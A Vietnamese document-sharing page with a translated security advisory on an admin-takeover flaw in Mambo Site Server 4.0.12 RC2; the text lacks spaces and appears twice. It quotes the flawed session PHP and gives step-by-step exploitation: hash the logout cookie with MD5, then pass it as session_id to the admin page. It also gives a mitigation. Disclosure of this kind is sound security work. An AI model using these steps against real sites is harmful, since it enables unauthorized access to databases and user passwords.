Đoạt quyền Admin ở Mambo SiteServer
Số trang: 2
Loại file: doc
Dung lượng: 30.00 KB
Lượt xem: 2
Lượt tải: 0
Xem trước 2 trang đầu tiên của tài liệu này:
Thông tin tài liệu:
Thực tế, bạn chỉ nghĩ logging như một user bình thường sẽ tạo sessionid này, tuy nhiên một bug trong mãnguồn PHP mà chắc chắn không làm cho điều này xảy ra.
Nội dung trích xuất từ tài liệu:
Đoạt quyền Admin ở Mambo SiteServerĐoạtquyềnAdminởMamboSiteServer:trangnàyđãđượcđọc lầnPROGRAM:MamboSiteServerHOMEPAGE:http://www.mamboserver.com/TESTED:Mambo4.0.12RC2LOGINREQUIRED:NoPROOFOFCONCEPT==============http://www.voidnull.com/exploit/mamboexp.phpsDESCRIPTION==========Mộtlỗitrong/administrator/index2.phpchophépbấtkỳusernàocũngcóthểđoạtđượcquyềnadminThựctế,bạnchỉnghĩloggingnhưmộtuserbìnhthườngsẽtạosessionidnày,tuynhiênmộtbugtrongmãnguồnPHPmàchắcchắnkhônglàmchođiềunàyxảyra.BấtkỳngườinàohiểusơsơvềPHPcũngbiếtrằngkhibạnsetmộtcookie,nósẽkhôngcậpnhậtchođếnkhibạnrefreshtrangweb.BấtkỳngườinàonhưngngườilàmmãchoMamboSiteServerlà:setcookie(sessioncookie,$sessionID);if($HTTP_COOKIE_VARS[sessioncookie]!=){$query=INSERTinto.$dbprefix.sessionsetsession_id=$cryptSessionID,guest=,userid=$uid,usertype=$usertype,gid=$gid,username=$username;$database>openConnectionNoReturn($query);}Nhưchúngtacóthểthấy,MamboSiteServerkiểmtranếucookieđượcsettrướckhinócàivàosessionidtrongtable.Nhưthếnósẽchưađượcset,khôngcósessionidnàođượccàivàovàvìthếchúngtakhôngthểloginvàongaycảthưmụcadmin.ChuyểnđếnđoạnmãnguồntrongSessionCookie.php(cáimàđượcgọirakhibạnlogout),chúngtacóthểthấyrằngmộtsessionidđượccàivàomỗikhilogout.Tạisao?Tôikhôngcóýkiến.$current_time=time();if($HTTP_COOKIE_VARS[sessioncookie]==){$randnum=getSessionID1();...$cryptrandnum=md5($randnum);...setcookie(sessioncookie,$randnum);$guest=1;$query=INSERTinto.$dbprefix.sessionSETusername=,time=$current_time,session_id=$cryptrandnum,guest=$guest;$database>openConnectionNoReturn($query);}Mộtcookie,trônggiốngnhưsausẽđượcsendđếntrìnhduyệt:sessioncookie=nh54OQIZb8ybaA2CNNdU1046102063TấtcảnhữnggìchúngtaphảilàmlàMD5encryptnó.0ebda5bbba49dc226b4ed8fc801f1d98Bằngviệctruycập/administrator/index2.phpvớisessionnày,MamboSiteServersẽnghĩrằngchúngtalàadministratorloginvào:/administrator/index2.php?session_id=0ebda5bbba49dc226b4ed8fc801f1d98SUMMARY=======ĐoạtđượcquyềnadminchophépbạntruycậpvàotấtcảcơsởdữliệucủaMySQL,userpasswords,news,pollsvàtấtcảmọithứmàservercóđược.NhiềuwebsiteschạyMamboSiteServercộngvớinhữngscriptskhácmàcầnchoMySQL,vàđiềunàylàlờicảnhbáođếnnhữngwebmasters.SOLUTIONS========ChođếnkhiMambochorapatchtôiđềnghịbảovệmậtkhẩuthưmục/administratorvới.htaccess.VENDORSTATUS===========Đãthôngbáochonhàcungcấp.Họđanglàmcáipatchcholỗinày.
Nội dung trích xuất từ tài liệu:
Đoạt quyền Admin ở Mambo SiteServerĐoạtquyềnAdminởMamboSiteServer:trangnàyđãđượcđọc lầnPROGRAM:MamboSiteServerHOMEPAGE:http://www.mamboserver.com/TESTED:Mambo4.0.12RC2LOGINREQUIRED:NoPROOFOFCONCEPT==============http://www.voidnull.com/exploit/mamboexp.phpsDESCRIPTION==========Mộtlỗitrong/administrator/index2.phpchophépbấtkỳusernàocũngcóthểđoạtđượcquyềnadminThựctế,bạnchỉnghĩloggingnhưmộtuserbìnhthườngsẽtạosessionidnày,tuynhiênmộtbugtrongmãnguồnPHPmàchắcchắnkhônglàmchođiềunàyxảyra.BấtkỳngườinàohiểusơsơvềPHPcũngbiếtrằngkhibạnsetmộtcookie,nósẽkhôngcậpnhậtchođếnkhibạnrefreshtrangweb.BấtkỳngườinàonhưngngườilàmmãchoMamboSiteServerlà:setcookie(sessioncookie,$sessionID);if($HTTP_COOKIE_VARS[sessioncookie]!=){$query=INSERTinto.$dbprefix.sessionsetsession_id=$cryptSessionID,guest=,userid=$uid,usertype=$usertype,gid=$gid,username=$username;$database>openConnectionNoReturn($query);}Nhưchúngtacóthểthấy,MamboSiteServerkiểmtranếucookieđượcsettrướckhinócàivàosessionidtrongtable.Nhưthếnósẽchưađượcset,khôngcósessionidnàođượccàivàovàvìthếchúngtakhôngthểloginvàongaycảthưmụcadmin.ChuyểnđếnđoạnmãnguồntrongSessionCookie.php(cáimàđượcgọirakhibạnlogout),chúngtacóthểthấyrằngmộtsessionidđượccàivàomỗikhilogout.Tạisao?Tôikhôngcóýkiến.$current_time=time();if($HTTP_COOKIE_VARS[sessioncookie]==){$randnum=getSessionID1();...$cryptrandnum=md5($randnum);...setcookie(sessioncookie,$randnum);$guest=1;$query=INSERTinto.$dbprefix.sessionSETusername=,time=$current_time,session_id=$cryptrandnum,guest=$guest;$database>openConnectionNoReturn($query);}Mộtcookie,trônggiốngnhưsausẽđượcsendđếntrìnhduyệt:sessioncookie=nh54OQIZb8ybaA2CNNdU1046102063TấtcảnhữnggìchúngtaphảilàmlàMD5encryptnó.0ebda5bbba49dc226b4ed8fc801f1d98Bằngviệctruycập/administrator/index2.phpvớisessionnày,MamboSiteServersẽnghĩrằngchúngtalàadministratorloginvào:/administrator/index2.php?session_id=0ebda5bbba49dc226b4ed8fc801f1d98SUMMARY=======ĐoạtđượcquyềnadminchophépbạntruycậpvàotấtcảcơsởdữliệucủaMySQL,userpasswords,news,pollsvàtấtcảmọithứmàservercóđược.NhiềuwebsiteschạyMamboSiteServercộngvớinhữngscriptskhácmàcầnchoMySQL,vàđiềunàylàlờicảnhbáođếnnhữngwebmasters.SOLUTIONS========ChođếnkhiMambochorapatchtôiđềnghịbảovệmậtkhẩuthưmục/administratorvới.htaccess.VENDORSTATUS===========Đãthôngbáochonhàcungcấp.Họđanglàmcáipatchcholỗinày.
Tìm kiếm theo từ khóa liên quan:
kỹ năng máy tính mẹo cài đặt thủ thuật máy tính bảo mật mạng quyền Admin ở Mambo SiteServerTài liệu liên quan:
-
Top 10 mẹo 'đơn giản nhưng hữu ích' trong nhiếp ảnh
11 trang 329 0 0 -
Đáp án đề thi học kỳ 2 môn cơ sở dữ liệu
3 trang 325 1 0 -
Làm việc với Read Only Domain Controllers
20 trang 321 0 0 -
Sửa lỗi các chức năng quan trọng của Win với ReEnable 2.0 Portable Edition
5 trang 226 0 0 -
Kỹ thuật và ứng dụng của khai thác văn bản
3 trang 221 0 0 -
Phần III: Xử lý sự cố Màn hình xanh
3 trang 220 0 0 -
Tổng hợp 30 lỗi thương gặp cho những bạn mới sử dụng máy tính
9 trang 213 0 0 -
Sao lưu dữ liệu Gmail sử dụng chế độ Offline
8 trang 211 0 0 -
Giáo trình Bảo trì hệ thống và cài đặt phần mềm
68 trang 209 0 0 -
Hướng dẫn sử dụng mạch nạp SP200S
31 trang 209 0 0